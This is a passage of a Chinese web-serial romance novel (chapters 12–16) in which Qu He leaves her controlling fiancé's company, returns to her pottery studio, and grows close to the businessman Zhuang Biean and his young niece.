是啊,其实钱昭野享受的从来就不是她的体贴,他享受的是那种完全掌控她的快感。
在他眼里,他们从来都不是平等的。
只是她明白得太迟了...
钱昭野一连喝了两碗粥。
饱暖思欲。
他注意到曲荷一直站着没动,拍了拍旁边沙发空位,示意她过来。
曲荷没动,单刀直入,“我想请个假。”
钱昭野眉头拧成一团,条件反射般脱口而出:“你请假了公司怎么办?”
话一出口他就意识到失言,急忙改口找补:“我的意思...是说,你请假了我怎么办?这五年来我已经习惯身边有你了。”
他说着就伸手想握住她的手。
这几年公司大大小小的事情都有曲荷帮衬着,他省了不少心,更何况过几天还有一场合作,这个合作方还是曲荷三顾茅庐谈下来的。
曲荷垂眸掩去眼底的讥讽。
男人下意识说的话才是心底最真实的。
曲荷借着整理头发躲开了他伸过来的手,心里冷笑,脸上却露出几分疲惫:“乔助理林秘书工作都还不错,更何况还有安特助盯着,不会有什么事的。”
听到‘乔助理’三个字,钱昭野的眼神微微闪烁几分。
曲荷没有错过这个表情,她故意揉了揉太阳穴,“可能是最近筹备婚礼太耗神,工作上有点力不从心...”
钱昭野心思微微触动。
难怪这两天曲荷怪怪的,原来是累了。
他露出体贴的笑,“这段时间是有点辛苦,那你就休个假放松一下吧。也趁着这段时间准备一下婚礼。”
“那我下午交接完工作就走。”曲荷趁热打铁。
“下午?”钱昭野的声音高了一个八度,“这么快?”
拒绝的话已经在嘴边,却在想到刚才那些下属议论曲荷的话后,一股无明火涌上心头。
他微沉着脸点了下头,“也好。”
走出办公室,曲荷交代完工作后,坐电梯离开了。
看着电梯数字不断变小,曲荷笑了。
这一次是她自己按下的下行键。
是她先选择终结这段感情。
....
曲荷离开公司后,开车去了荷月坊。
这是四年前她和学妹司月一起开的一家陶瓷店。
当时她毕业后就去当了钱昭野的秘书,工作的忙碌加上钱昭野的反对,她已经渐渐忘记曾经陶泥在手的触感,也忘记了曾经她的热爱。
直到一年后遇到了刚毕业的司月。
司月家境不好,当时因为摆摊卖自己做的手工陶瓷摆件而被城管驱赶罚款。
她那么小一个人却死死护着怀里的那些陶瓷摆件。
当时曲荷也不知道自己出于什么想法,出手帮了她。
后来她瞒着钱昭野,自己出了钱,拉着司月入伙,一同开了这家荷月坊。
荷月坊一共两层楼加一个后院,开在北城四年前刚开发的十三巷街区。
这几年加上政府和文旅开发,吸引了不少游客来打卡,连带着店里的生意也好了不少。
只是这几年她的心思一直在钱昭野那里,很少来这里,基本上只有司月在打理。
曲荷抬头看着刻着“荷月坊”三个字的木质招牌,深深吐出一口气,推门而入。
挂在门檐下的陶瓷铃铛发出脆响。
原本还在清理拉坯机的司月听到声响条件反射转头,在看到曲荷后猛地起身。
“学姐!”
她像兔子一样跨过一排排拉坯机,蹦到了她面前。
司月齐耳的短发轻轻晃动,齐刘海下的杏眼瞪得圆圆的。
她三步并作两步小跑过来,刚想去拉曲荷的手,却在看到手上的陶泥后缩了回来,绞着手指,脸不由得泛红。
“学姐,你今天穿得好漂亮啊....”
曲荷低头看了眼自己的雾霾蓝裙子。
这还是今天她特意为了气钱昭野换上的。
她浅笑,抬手揉了把司月蓬松的短发,逗她,“怎么?我平时不漂亮?”
“不是不是!当然不是!”司月急得直摆手,刘海一跳一跳地。
“学姐一直都很美,只是...”她的声音很快淡了下去,“钱总他...他不是不喜欢你来这吗?”
第12章 庄别宴来了
空气瞬间凝固。
荷月坊刚开业那段时间,曲荷趁着休息时间还会过来帮忙。
可是那段时间公司创立不足一年,钱昭野却急功近利导致不少合作洽谈失败。
当时曲荷还劝他不要太过求成,可钱昭野却说他不懂。
最严重那次他直接冲着她发脾气,眼神像刀子一样刮过她的裤脚,在看到她鞋面上沾着的陶泥后甚至露出来一抹嫌恶。
“你看看你把自己弄成什么样子?今天的合作你不清楚吗?曲荷,你就算帮不上我的忙,也别让我心烦好吗?这些脏东西赶紧收拾掉,以后别去搞什么陶瓷了,安安心心陪我把公司做好。”
当时曲荷看着鞋面上沾着的陶泥,很想质问他。
可最后那句质问又因为钱昭野低声下气的道歉和那句“阿荷,我只有你了”收回了。
她的爱好,习惯,所有的一切都为了他改变了,可得到的是什么?
“学姐...”司月担忧碰了碰她的手。
曲荷回神,嘴角扬起一抹明媚,“他喜不喜欢,和我有什么关系?”
说罢,她转身从架子上取下一条围裙系上,“从今往后,我喜欢什么才是最重要的。”
司月嘴巴长成O形。
曲荷花了三分钟和她解释了一下。
到后面,司月听得眉头越拧越紧,整张脸通红!
“我就知道!”司月跺了下脚,声音高了八个度,“我就知道,那种让女人放弃事业的男人靠不住!”
曲荷愣了一下,笑了出来!
是啊,这种最简单的道理,她却花了七年才明白。
两人聊了会天,中途司月接了个电话。
挂断电话后司月不好意思绞着围裙带子,“学姐,有个客户定了一套茶具,本来是关店后我去送的,现在她临时改了航班,现在就得给她送到机场去。”
荷月坊主要的收入来源除了一部分是来自散客接待陶瓷体验,更多的是一些产品定制。
曲荷起身说,“我去送吧。”
“不行不行。”司月头摇得像拨浪鼓,手上却已经利落的开始打包礼盒,“学姐你留下看店,我去送!”
她喋喋不休解释着原因,“...客户要求比较高...改设计图...”
到后来曲荷根本没仔细听她说的话,只是看着司月像只忙碌的小蜜蜂在货架和仓库穿梭。
四年前她把荷月坊交给司月打理的时候还在为她担心,可谁又能想到当初那个一说话就会紧张结巴脸红的小姑娘,会把荷月坊经营得这么有声有色。
曲荷把司月送上车,捏了捏她圆润的脸蛋,“请司老板放心,我一定看好店!”
司月脸一红,轻声嘟囔:“明明学姐才是大老板。”
送走司月后,店里安静得只能听见空调吹风的声音。
曲荷给自己泡了杯茉莉花茶,茶香混着淡淡的陶泥气息,安抚了她紧绷的神经。
曲荷单手拖着下巴坐在小板凳上,脚有一下没一下踩着拉坯机出神,再次回到熟悉的地方,有些情怯。
夕阳透过落地玻璃窗照了进来,在曲荷身上镀了一层金。
也照亮了货架最上层的那排陶瓷摆件。
那是她四年前留下的。
“叮当。”
门口的铃铛突然响起。
曲荷条件发射转身,“您好,欢迎光临荷月....”
声音戛然而止。
门口逆光站着一个高大的身影。
黑色西装三件套勾勒出男人宽肩窄腰的完美比例,领带上的金属领针折射着暗芒,随着他微微侧身闪过一道锐利的光。
庄别宴。
这个在北城叱咤风云的名字,此刻站在她的陶艺店里。
更荒谬的是他左手提着一只粉色草莓熊书包,右手牵着一个扎着麻花辫的小女孩。
曲荷愣在了原地。
“庄..庄总?”她有些不确定开口。
余晖流转,庄别宴的轮廓逐渐清晰。
曲荷这才发现他的鼻梁上架着一副金丝眼镜。
空调冷风呼呼吹着,拉坯机还在匀速转动。
声音阵阵。
“曲小姐。”庄别宴突然开口,声音有些哑,“好久不见。”
曲荷脑袋有一下没转过弯。
没记错的话,上一次见到他是两天前在婚纱店里。
不过她很快就了然,庄别宴这种分分钟几百万上下的大忙人,或许根本没有把那段插曲放在心上吧。
不记得也好,毕竟那天她多少有些失态...
小庄禧穿着格子连衣裙,好奇地打量着荷月坊里陈列的各种器具。
曲荷目光落在那个正踮脚试图看到陈列柜第二层的小女孩,微眯了下眼。
这是...庄别宴的女儿?
北城媒体掘地三尺都挖不到一点有关庄别宴的秘闻,就这么猝不及防被她发现了?
“舅舅。”小女孩突然晃了晃庄别宴的手,奶声奶气说:“我想做一只草莓熊的碗。”
空气凝固了好几秒。
庄别宴的目光落在曲荷稍许错愕的脸上后,露出几分了然,嘴角微微抽动了几分。
他喉结微动,声音更低了些,“我外甥女,庄禧。”
曲荷的耳根子莫名有些发烫,总感觉内心的想法被看穿了。
庄别宴轻轻拍了拍小庄禧的头,“庄禧,叫人。”
“曲老师好。”小庄禧眉眼弯弯,声音甜甜。
曲荷半蹲下身,和她平视,“你好啊小禧,你想做一个草莓熊碗是吗?”
小庄禧害羞地点点头,躲到了庄别宴身后,只露出一双大眼睛好奇地看着曲荷。
庄别宴推了推眼镜,镜片折射出的光遮住了他的眼神,“庄禧幼儿园需要交一件手工陶艺作品,刚好路过。”
曲荷起身,点头。
原来如此。
“不好意思,庄总,陶瓷从制作到烧制完成的周期需要一个月,恐怕...”
后面的话曲荷在看到小庄禧耷拉的嘴巴后又收了回去。
“不过,今天我们可以先尝试体验一下,等会阿姨送你一个作品好不好?”
小庄禧眼睛又亮了。
曲荷笑了笑,取来一条儿童围裙,“那来吧,阿姨先教你做一个小杯子。”
小庄禧抬头看了看庄别宴,得到首肯后,蹦跶着跑了过去。
曲荷帮庄禧系好围裙,带她坐到小板凳上。
庄别宴站在一旁。
曲荷下意识开口,“庄总,您需要围裙吗?”
第13章 加微信?
话一出口,她就后悔了。
家长陪同孩子一起体验再正常不过,可这是庄别宴啊!
曲荷目光扫过庄别宴身上那套价值不菲的西装三件套,怎么看都和这里格格不入。
像他这种一举一动都受外界关注的贵公子,怎么可能会愿意碰泥巴。
连钱昭野都把陶艺称为“脏东西”“上不了台面”,更何况庄别宴呢。
曲荷心里自嘲笑了笑。
“可以,多谢。”
低沉的嗓音,让曲荷猛地抬头。
庄别宴的手已经搭在了眼镜架上,他慢条斯理脱下西装外套,露出被衬衫包裹的宽肩窄腰。
脱下的西装被他架在腕间,骨节分明的手指轻轻一挑解开袖口,慢悠悠卷起,露出线条分明的小臂。
曲荷甚至能看到手臂上微微凸起的青筋。
她不自觉屏住呼吸。
可那股淡淡的雪松气息却随着他的动作在空中缓缓扩散,狡猾地钻入鼻腔。
你们这些贵公子脱个外套都是自带放慢速度的吗?
“曲小姐?”
庄别宴的声音把他拉回现实。
那双那只刚才她盯着看的手,此刻正悬在半空,等着她递上围裙。
曲荷这才反应过来。
“抱歉。”
她手忙脚乱地从架子上取下庄禧同款成人围裙。
却在递给他的瞬间,指尖相触。
那一瞬间的触碰如电流划过脊背。
曲荷迅速缩回手,接过他的西装外套挂在架子上后快步走到庄禧旁边蹲下,带着几分不自然的声音,“来,小禧,老师教你...”
可明明身后人隔了好几米,曲荷却还是听到了一声几不可闻的低笑。
她后脖子麻了下,下意识转头看向庄别宴的位置。
他正慢悠悠地摘下腕表,可目光却始终锁着她这个方向。
曲荷飞快回头,吐出一口气,才终于把注意力集中在手里的泥巴上。
当掌心再次触碰到泥坯时,久违的触感让曲荷鼻尖发酸。
那些熬大夜做毕设的记忆再次涌了上来。
曾经她把放弃这些当做是爱和成长的代价,可到了这一刻她才真正明白,那不过是钱昭野一点点剥离她自我的开始。
真正爱你的人,怎么舍得让你放弃自己的热爱....
“曲老师,我的泥巴变成大饼了...”
小庄禧稚嫩的童声把她从回忆里拉了出来。
曲荷看着拉坯机上已经摊成一团的陶泥,忍不住轻笑。
“没事,老师再给你定一个中心,这次我们慢慢地再试一次...”
小庄禧学得很认真,可陶泥在她手里就是不听话,几次失败后,她的嘴巴撅得都快上天了。
“没关系,小禧已经很棒了....”
曲荷忙着安慰,刚打湿手准备帮她时,却看到原本一直在旁边观看的庄别宴已经自然地坐在了庄禧的小板凳上。
男人修长的双腿在低矮的拉坯机前明显有些局促,两腿被迫分屈起分开。
西裤面料瞬间绷紧,在大腿处绷出几分充满张力的褶皱。
庄别宴取了块新泥坯,熟练地按在拉坯机上。他沾了些水,转动拉坯机,掌心和大拇指微微用力,简单的定中心就成功了。
不到二十秒,一个小碗已经成形。
“哇!舅舅好厉害!”
小庄禧在旁边拍着手欢呼,星星眼里满是崇拜。
曲荷也看呆了。
定中心,拉坯这些基础动作看似简单,实则对用力技巧和角度需要非常精确的把控。
哪怕是再有天赋的人,也很少有人能第一次就做到这种程度。
不愧是庄别宴!
小庄禧看着拉坯机上的小碗在原地蹦跶了好几下,“曲老师,我舅舅是不是很厉害!”
曲荷点点头,由衷赞叹:“没想到庄总在陶艺方面也这么精通。”
庄别宴沾了清水正在洗指间的陶泥,闻言抬头看向她。
他嘴角勾起一抹淡淡的上扬:“略懂一二。”
水珠顺着他的骨节分明的手指滑落,在黑色西裤上晕开一片看不见的水痕。
他的目光往下移到了曲荷沾着陶泥的指尖,又缓缓上移。
四目相对。
“曲小姐也是。”
这句话像一个小石头投入了平静的湖面。
曲荷好一会儿才反应过来他这句话的意思。
是没有想到她也会陶艺吗?
是啊。
毕竟,在外界眼里,她只是钱昭野身边那个刻板无趣的秘书而已。
“我大学主修陶瓷艺术设计。”她说着。
指尖有意无意摩挲着无名指上那道淡淡的戒痕。
五年了,这是她第一次主动提起自己的专业,仿佛在承认那个被遗忘的身份。
曲荷鼻子泛酸,微微侧头移开眼。
也正如此错过了庄别宴琥珀色的眸底没有半点惊讶,更多的是...心疼。
“原来如此。”
庄别宴抽了两张纸巾,慢条斯理地擦拭着手上的水珠,再次抬眼,眸底平静如水。
“如果五年前曲小姐大学毕业继续在陶艺上深造,那或许我应该会在巴塞尔陶艺展上听到你的名字,而不是在沃创论坛上。”
三个月前的沃创论坛,她代替临时去新加坡谈合作的钱昭野上台发言。
当时台下第一排正中央,庄别宴就那样安静坐着。
没人想到庄别宴这样的人物会出席论坛。
曲荷也不例外。
原本只是一场再平常不过的发言,却在和庄别宴对视的那一刻,她手心也出了汗。
原来庄别宴是在那个时候记住她的名字。
可眼下比起这个,曲荷满脑子都是‘巴塞尔’三个字。
庄别宴突然提起的那个字,像一根针,扎进了她早已麻木的神经。
那是她曾经做梦都想去的地方。
巴塞尔艺术展是每个陶艺人的梦想殿堂,自己的作品能在巴塞尔陶艺展上展出,无疑是最高级别的荣耀。
大一新生开学那天,她满心雀跃在新生心愿墙上写下‘巴塞尔见’。
曲荷记得那天阳光很好,她满心满眼都是梦想。
而不是像现在这样...
每天穿梭在会议室和办公区,连名字都被简化成‘曲秘书’。
阳光照得她眼睛有些发酸,她扯出一抹勉强的笑,声音轻得像一片羽毛,“庄总太高看我了。”
庄别宴的目光扫了一圈荷月坊,又缓缓回到曲荷脸上。
“我很期待。”
四个字。
很轻,像叹息。
很重,像承诺。
曲荷一度怀疑自己听错了。
她指尖微微颤抖,抬头看他。
庄别宴已经重新带上眼镜,恢复了最初的矜贵疏离,而镜片下的琥珀色双眸里,盛着她读不懂的情绪。
夕阳斜下。
把三个人的影子拉得很长,交织在一起。
余晖在空气中织了张金色的网,尘埃起舞,如梦似幻。
时间在这一刻静止,曲荷好像看到了一个模糊的轮廓。
是十八岁的自己。
一个小时的陶瓷体验很快结束。
小庄禧捧着曲荷送给她的陶瓷小兔子爱不释手。
曲荷在便利贴上写下日期和姓名,贴在小碗旁边。
“等泥坯干了就能上釉烧制,到时候可以自己来取也可以快递。”
小庄禧眼里满是期待,歪着头问,“那禧儿什么时候能知道小碗烧好了呀?”
曲荷摸了摸她的头顶。
余光瞥到站在不远处打电话的庄别宴,男人侧身对着她们,神色淡淡,没有注意到她们的对话。
他手指松松握着手机,另一只手勾着庄禧的粉色草莓熊书包。
“陶瓷烧制要经过两次烧制,还要上釉,大概需要一个月。等烧好了店里的姐姐会联系....”
曲荷话说到一半,才想起店里的工作机应该在司月那里。
小庄禧眨巴着大眼睛,“那禧儿可以加曲老师你的微信吗?等小碗烧好了,你给我发消息,我让司机叔叔过来拿。”
第14章 她不会是你的姐姐
“啊?”
曲荷愣了一下,很快反应过来。
“可以呀。”她柔声应下,摸了摸她的头顶,“不过小禧这么小就有手机了吗?”
小庄禧像个大人一样摇了摇头,“不不不,妈妈说小朋友不可以玩手机。”
她骄傲地说,“但是禧儿有小天才电话手表。”她掰着手指数,“曲老师,你是我手表里的第七个大人哦。”
曲荷:“那前面六个是谁啊?”
小庄禧一边报人名一边点手指,“太外公,外公,妈妈,舅舅,郁阿姨,郁叔叔。”
就差把家底报出来了。
曲荷被逗笑了,拿出手机点开微信二维码。
庄别宴不知何时结束了通话,朝他们走来,他步伐慢慢,夕阳把他的影子拉得很长。
小庄禧小跑过去,拽了拽他的衣角,仰头问:“舅舅,可以把书包里的小天才电话手表给我吗?我要加曲老师的微信。”
庄别宴把书包递了过去。
庄禧里里外外翻遍了书包每个角落,小脸渐渐垮了下来。
“我的手表呢?”她说话声明显带上了哭腔,“我明明放在这里的....没有手表,我就不能第一时间看到我的小碗了...”
“自己的东西就应该自己保管好。”庄别宴语气淡淡。
小庄禧的眼泪终于掉了下来。
曲荷有些不满地看了眼庄别宴。
她连忙蹲下伸手帮庄禧擦眼泪,柔声安慰,“别哭别哭...”
庄别宴被她瞧过来那一眼,在原地滞了几秒。
“比起哭,”他的声音比刚才柔和了些,“你更应该想的是该怎么解决问题。”
这句话像是有魔力,小庄禧慢慢止住了哭泣,她抽泣着抬头,泪眼朦胧中小脑袋灵光一闪。
“那..舅舅,你可以加曲老师的微信吗?”
空气瞬间凝固。
三双眼睛在空气中交汇。
微妙的尴尬氛围在空气中蔓延。
曲荷注意到庄别宴眉头轻微皱了一丝。
庄别宴,北城财经杂志新闻常客,庄氏集团继承人,无数名媛千金梦寐以求的另一半。
有传言,曾经有一个合作方花了七位数都没有没有加上他的微信。在北城商圈,不知有多少人为了他的一个联系方式挤破头。
曲荷识趣地开口解围:“其实,留个电话联系方式也是可以的...”
她已经准备切换屏幕,可一部手机已经递到了她面前,屏幕上是微信扫一扫界面。
“啊?”曲荷一时没反应过来。
“扫码。”庄别宴简短地说。
曲荷一时语塞,但很快反应过来。
五年职业习惯让她条件反射,“庄总,我扫您...”
“不必。”庄别宴声音沉沉,把手机又往前递了半分。
曲荷不敢让他等待,点开自己的微信二维码界面送了过去。
“滴”一声响,在店里格外清晰。
小庄禧破涕为笑,脸蛋上还挂着泪珠,却已经兴奋地拍起了手。
结完账,临走前她还突然抱住曲荷的脖子,在她脸上‘吧唧’亲了一口,“曲老师再见。”
曲荷还没来得及反应,就听到庄别宴的声音冷了几分:“庄禧,上车。”
她抬头,就看到男人眉头微蹙,下颌线绷得紧紧的。
曲荷了然,应该是庄家有规矩不让庄禧随便和外人太亲近吧。
两人离开后,曲荷舒了口气。她低头看了眼微信列表里新增的黑色头像。
纯黑背景右下角有一只手绘小燕子,看起来像是小孩子画的,昵称是一个大写的‘Y’。
这倒是出乎曲荷意料,在她认知里,很少会有人把自己名字最后一个字当昵称的。
她继续点进庄别宴的朋友圈,一片空白,和它的主人一样,神秘莫测。
黑色迈巴赫缓缓在路上行驶。
车后座,庄禧不死心又在座位上找了一圈,还是没有手表的踪影,“奇怪,怎么会丢了呢...”
她叹了口气,小声嘟囔着。
绿灯转红,车停。
庄别宴透过后视镜看了她一眼,没有说话。
他右手搭在方向盘上,左手无意识摩挲了下西装口袋。
“舅舅。”庄禧突然从前座中间探出小脑袋,奶声奶气说:“等我新手表到了,你要把曲姐姐的微信给我哦。”
“曲姐姐?”庄别宴眼神暗了几分,声音听起来也更沉了。
“禧儿喜欢她!”小庄禧天真的宣布,“我要让她做我的姐姐!”
她话说完就开始玩陶瓷兔子。
车内安静得可怕。
庄别宴握着方向盘的手指微微收紧,他目视前方,两旁大楼上的轮播广告光影在他轮廓分明的侧脸一闪而过。
半晌,车前座传来一句话。
声音低得像是从喉咙深处挤出,“她不会是你的姐姐。”
北山墅。
庄宅。
庄·大美女·留月正半躺在沙发上敷面膜,手机外放着某音帅哥秀肌肉视频。
庄禧背着小书包蹦蹦跳跳扑到了她边上,“妈妈,我回来啦!”
她开始脱下书包坐上沙发,晃着腿开始讲今天发生的事。
“今天幼儿园里...舅舅在车里坐了好久才带我下车...舅舅做陶瓷好厉害...我喜欢曲姐姐...”
小嘴巴说个不停。
在说到手表不见了的时候,她沮丧着垂下头,但很快又兴奋起来,“不过舅舅加了曲老师的微信!”
庄留月懒洋洋摆了摆手,对这些话题显然兴趣缺缺,“明天妈妈去逛街给你买个新的。”
“嗯!”
小庄禧点点头,继续翻书包,想把陶瓷兔子拿出来,却突然在书包第二个隔层底部摸到一个凸起。
“咦?”
“啊!哇塞!”
突然一惊一乍,给庄留月吓得手机都快掉了。
庄禧拿着手表在她面前晃了好几下,她惊喜地叫着,“妈妈!手表找到了!”
但很快,小脸又是困惑,“可是刚才明明没有的...”
恰好,庄别宴经过沙发,在听到她的话后脚步微不可察顿了一下。
“舅舅!”小庄禧飞奔过去,拉着他的手,“有魔法!我的手表又出现了!”
庄别宴低头看着自家外甥女天真无邪的眼睛,轻轻‘嗯’了声。
“那你现在快把曲姐姐的微信推给我!”庄禧迫不及待晃着他的手。
庄别宴抽回手,薄唇抿成一条直线,在外甥女期待的眼神里,淡淡丢下一句“小孩子少玩电子产品”,便转身上楼。
小庄禧:“....”
她困惑地歪着头,不明白为什么舅舅看起来..好像..生气了?
可是又不像真的生气。
她低头看了看手表,又抬头看向楼梯。
小脑袋想了好久好久,都没有想明白,只好转头,却看到妈妈双手抱胸似笑非笑看着楼梯的方向。
她更想不明白了。
大人的世界真复杂。
二楼书房。
庄别宴站在窗前,手机屏幕亮着,空白的聊天框顶部是简单的两个字,曲荷。
男人修长的手指悬在屏幕下方,犹豫许久,最后只是轻轻把手机反扣在桌上。
玻璃窗上倒映出他微微勾起的嘴角。
窗外,最后一缕夕阳沉入地平线,把他的影子拉得很长,很长。
第15章 和庄别宴通话
没有了处理不完的工作邮件,不需要二十四小时随时待命,曲荷终于有机会睡到了自然醒。
这几天她给家里做了次彻彻底底的大扫除,其余时间,她都和司月待在荷月坊里,日子过得倒也充实。
期间秘书部的林秘书也发来几条消息,字里行间都透着八卦。
说在她请假后的第二天,钱昭野就让乔眠接手了她大部分工作。
说那个平时和她不对头的安达,对乔眠却殷勤的反常。
还说公司茶水间里已经传开了,有人亲眼看见钱昭野和乔眠一前一后进入同一家酒店。
而曲荷最终只回复了几条无关痛痒的问候,那些关于钱昭野和乔眠的消息,她连点开的兴趣都没有。
安达的反常,她并不奇怪。
这三年钱昭野能瞒得这么天衣无缝,安达想必功不可没。
果然应了那句老话,物以类聚,人以群分。
想通这些,心头那块压了许久的石头反而轻了几分。
不过眼下她倒是没心思去想那些。
荷月坊受邀参加十三巷街区集市,三天下来,曲荷累得心都没缝了,倒是司月依旧生龙活虎。
临近收摊,司月伸了个懒腰,“总算结束了。”
曲荷正想打趣,就听到一声清脆的童声,“曲姐姐!”
庄禧扎着双丸子头,穿着北城第一幼儿园的校服裙站在摊位左前方,肩膀背着的还是那只粉色草莓熊书包。
她迈着小碎步跑了过来,书包在背后一颠一颠。
“庄禧?”曲荷看了圈周围,连忙上前把她拉到自己旁边,“你怎么一个人在这里?”
小庄禧仰着脸,大眼睛眨巴眨巴:“我看到这里有好多漂亮发夹,想送给妈妈...”
她指着隔壁那几个卖发饰的摊位说。
曲荷心头一紧。
北城第一幼儿园就在隔壁,但让一个才上中班的孩子一个人在集市...
“谁带你过来的?”曲荷问。
庄禧晃了晃书包,丝毫没有察觉到问题,“司机叔叔迟到了,我自己走过来的。红灯停,绿灯行,老师上课教过。”
曲荷眼前一黑,她好像已经看到庄家掘地三尺,全城出动搜寻的场面了。
她庆幸还好荷月坊的摊位就在集市入口,不然这庄家小公主要是有个闪失...她不敢往下想。
曲荷匆忙和司月交代了两句,牵上庄禧的手回了荷月坊。
回去路上,庄禧叽叽喳喳小嘴巴说个不停,直到回了店里曲荷给她塞了块曲奇饼干,她才静下来。
“曲姐姐,你的饼干比幼儿园的好吃!”庄禧坐在沙发上晃着小腿,饼干碎屑落在校服裙摆上。
曲荷看着又想笑,又觉得后怕。
正想着联系庄家人,就看到庄禧蹦下沙发,从书包里掏出了电话手表。
“妈妈给我打电话啦!”庄禧挥着手表朝她隔空晃了晃。
电话刚接通,妈妈两个字还没叫出口,就被通话那头的声音吓住了,“庄禧,你去哪儿了?”
庄禧被凶了下,说话带上了结巴,“我..妈妈..”
那头的声音已经带上了哭腔,“家里有没有和你说过放学了不要乱跑,刚才司机给你打了那么多电话,你为什么不接?”
小庄禧眼眶直接红了,“对不起妈妈...我..手表在书包里..”说到后面眼泪啪嗒啪嗒往下掉,‘哇’的一声直接哭了出来。
曲荷连忙蹲下,掌心安抚地拍着庄禧颤抖的背帮她顺气。
她接过还在通话中的手表,“小禧妈妈您好,我是曲荷,您放心,她现在很安全。我们在十三巷街区里的陶艺店荷月坊,您可以直接让司机过来,这期间我会一直陪着她。”
通话那头静默许久,曲荷抿了下唇,继续说,“您也可以直接打我电话,我打手机号是1352...”
“曲小姐,我是庄别宴。”
低沉的男声毫无预兆切了进来,曲荷手指一颤。
没想到那头这么快就换了个人,她愣了一下,“庄总,你好。”
手表那头传来一阵窸窣,“我五分钟后到店里,请曲小姐帮忙照看一下庄禧。”
曲荷应下。
五分钟后,黑色迈巴赫停在了店门口。
庄别宴深灰色西装三件套,下车时下摆被风吹动,微微扬起。
他今天没带那副金丝眼镜,眉眼间的锐利毫无遮挡。
庄禧虽然已经止住了眼泪,但眼眶还是红红的,趴在曲荷肩膀上有一下没一下抖着,在看到庄别宴过来后,脑袋直接塞进了曲荷怀里。
“庄禧。”庄别宴走上前,伸手,声音比通话时又沉了几分。
可小庄禧却不为所动,在听到声音后把曲荷的脖子搂得更紧了,眼泪全蹭在她肩头,米色长裙的肩头已经明显晕开了一圈水渍。
一场没有硝烟的对峙就此展开。
曲荷拍着庄禧的背,小声朝着庄别宴做口型,“庄总,要不我来...”
她话还没说话,庄禧的两条腿就在半空中踢腾起来,小皮鞋好几下就差点踹到她的肚子。
庄别宴眼神一暗,握着后座车门的手指微微收紧,腕表折射出一道冷光。
“今天周五。”他突然说道,“庄禧,PADA还有一个半小时关门。”
这句话像是有魔力一样,庄禧立刻停止哭闹。
她抬起泪痕斑驳的小脸,看向庄别宴,小嘴巴抿成了一条倔强的直线。
庄别宴依旧是那副云淡风轻的模样,就在他抬手看时间的时候,庄禧终于开口说了第一句话,“我要曲姐姐陪我一起去!”
曲荷一愣,“?”
PADA是啥啊?
十五分钟后,黑色迈巴赫稳稳停在了路边停车位。
曲荷在后座给司月发消息。
小孩子的情绪来得快,去得也快。
庄禧已经恢复了活力,靠在她身边,叽叽喳喳和她介绍着PADA里好吃的甜品。
上车前,庄别宴看出她的疑惑,和她解释,PADA是庄禧是最喜欢的甜品店,但是她正在换牙期,家里对她在甜食上有约束,只能在每周五吃一次。
曲荷了然,难怪庄禧刚才不哭了,原来是贪吃的天性冒出来了。
车熄火后,三人下车。
PADA甜品店的装修风格是温柔的奶油色,门口的招牌上还挂着一只玩偶熊,透过落地橱窗,可以看到不少几个正在打卡的漂亮女生。
进店后,庄禧牵着曲荷的手熟门熟路走向柜台点单。
在路过顾客区的时候,就听到了几个正在拍照的女生发出的小声惊呼:
“姐妹,这次是真的!这男人有点帅了,他那张脸简直是照着我理想型长的!这个可以谈!可以谈!”
“是帅的有一套,不过我怎么觉得有点眼熟。不过你还是先别想了,没看到人家都有老婆孩子了...”
第16章 “我太太永远是第一顺位”
那几个女生并没有刻意压低声音,曲荷听得莫名耳脖子发烫,可旁边的庄别宴却像个没事人一样,镇定自若。
她刚想和庄禧说自己要不出去等,可庄禧已经拽着她到了展示柜前,“曲姐姐,这个,那个,都很好吃!”
小庄禧点单显然是个老手,仰起头,一脸乖巧,“你好,我要一个可露丽,一个草莓千层,一个马卡龙。”
片刻后,她拧了下衣角,“还是两个马卡龙吧,还有一个帮我打包。”
小庄禧有些不好意思,小声说,“妈妈也喜欢吃。”
曲荷不禁一笑,小姑娘再怎么闹脾气,心里还是念着妈妈的、
庄禧给自己点完后,仰头看向曲荷,小手一挥,颇有一副金融大亨的架势。
“曲姐姐,你想吃什么随便点!我让舅舅买单!”
曲荷惶恐。
庄别宴就站在她身后侧,她其实想拒绝,却被庄别宴一句‘今天多谢曲小姐’打消了念头。
要是拒绝,不就是想让庄家欠她人情了,或许人家还会以为她今天别有居心呢。
她只好点点头,看向展示柜。
琳琅满目的甜品让她有些恍惚。
她已经很久没吃过甜品了。
最初是因为钱昭野胃不好,她有意减少吃甜品次数,后来有一次她在吃同事送的巴斯克的时候被钱昭野撞见说幼稚后,就再也没吃过了。
可在钱昭野的记忆里,却变成了她不喜欢吃甜食。
回忆总让人酸涩。
店员小姐姐见她盯着展示柜犹豫,开始热情推荐新品。
“就这个吧。”曲荷点了个巴斯克。
见她点完单,庄禧开始催促庄别宴,“舅舅快买单!”
一股淡淡的雪松味自身后传来,庄别宴身体微微前倾,几乎把她半圈在怀里。
他拿出手机让店员扫码。
曲荷瞬间僵住,屏住呼吸。
她能清晰地感觉到打在后脖颈上的气息,甚至隔着空气都能感觉到庄别宴呼吸时起伏的胸膛。
“好了。”他收回手机。
“曲姐姐,我们先去找位置,让舅舅拿过来。”庄禧拉着她的手走向顾客区。
转身时,手背不经意擦过了身后人的袖口。
轻轻一抚,像羽毛掠过湖面。
在无人所见处,漾起微波。
庄禧带着她上了二楼,找了个窗边的位置坐下后晃着腿玩着纸巾,嘴里还嘟囔着,“舅舅最慢了。”
甜品很快上桌。
可露丽外层的焦糖泛着甜香,庄禧迫不及待拿起咬了一口,又拿勺子挖了一大勺草莓千层,一脸满足,幸福的眼睛都眯成了月牙。
吃到梦寐以求的甜品,她甚至哼起了歌,连鼻尖上沾了奶油渍都不知道。
曲荷被逗笑了,拿过纸巾帮她擦掉了奶油渍,“小禧这么开心?不是每周五都能吃到吗?”
小庄禧鼓着腮帮子,声音含糊不清,“不是的曲姐姐。妈妈说过,如果禧儿犯了错,就不能吃了。上周五禧儿不小心把妈妈的口红弄断了,本来以为今天也吃不到了...”
后面的话不言而喻。
能吃到失而复得的甜品,她自然比谁都欢喜。
庄禧说着又挖了一大勺草莓千层塞进嘴里,像是要把上个礼拜错过的都补回来。
曲荷看着旁边鼓着腮帮子的小松鼠轻笑。
又抬头看了眼对面正在手机屏幕上敲字的庄别宴。
没想到他对自己的外甥女还挺宠的。
不知为何,脑袋里突然冒出了‘女儿奴’三个字。
她实在有些难想象庄别宴居然有朝一日会和这三个挂上钩。
曲荷想得出神,没注意到对面的男人早已放下手机,目光精准地锁在了她嘴角勾起的那抹弧度上。
“曲小姐在笑什么?”
曲荷回神,正好撞进他眼里。
